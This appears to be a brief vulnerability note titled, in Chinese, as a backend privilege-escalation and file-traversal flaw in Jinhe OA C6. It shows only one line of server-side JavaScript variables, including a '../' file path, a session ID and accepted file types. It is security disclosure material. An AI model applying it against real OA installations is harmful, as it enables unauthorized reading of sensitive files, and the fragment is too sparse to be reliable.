金和OA C6 后台越权敏感文件遍历漏洞

var strFilePath = '../Resource/slaves/1/8b473ecb-7b39-4384-ada2-b0ec72c4f6ed.png';var strFileType = 'png';var strSid='3jvpvhs410m2wdbbficax5q5';var strFileIDCode='us9w7xWE7do=';var strId = '1229';var strTxtReg = 'txt,ini,xml,config,htm,html,js,css,asp,aspx,jsp,cs,sql,inf,htc,log';var strImgReg = 'jpg,gif,jpeg,png,ico';var MD = '';
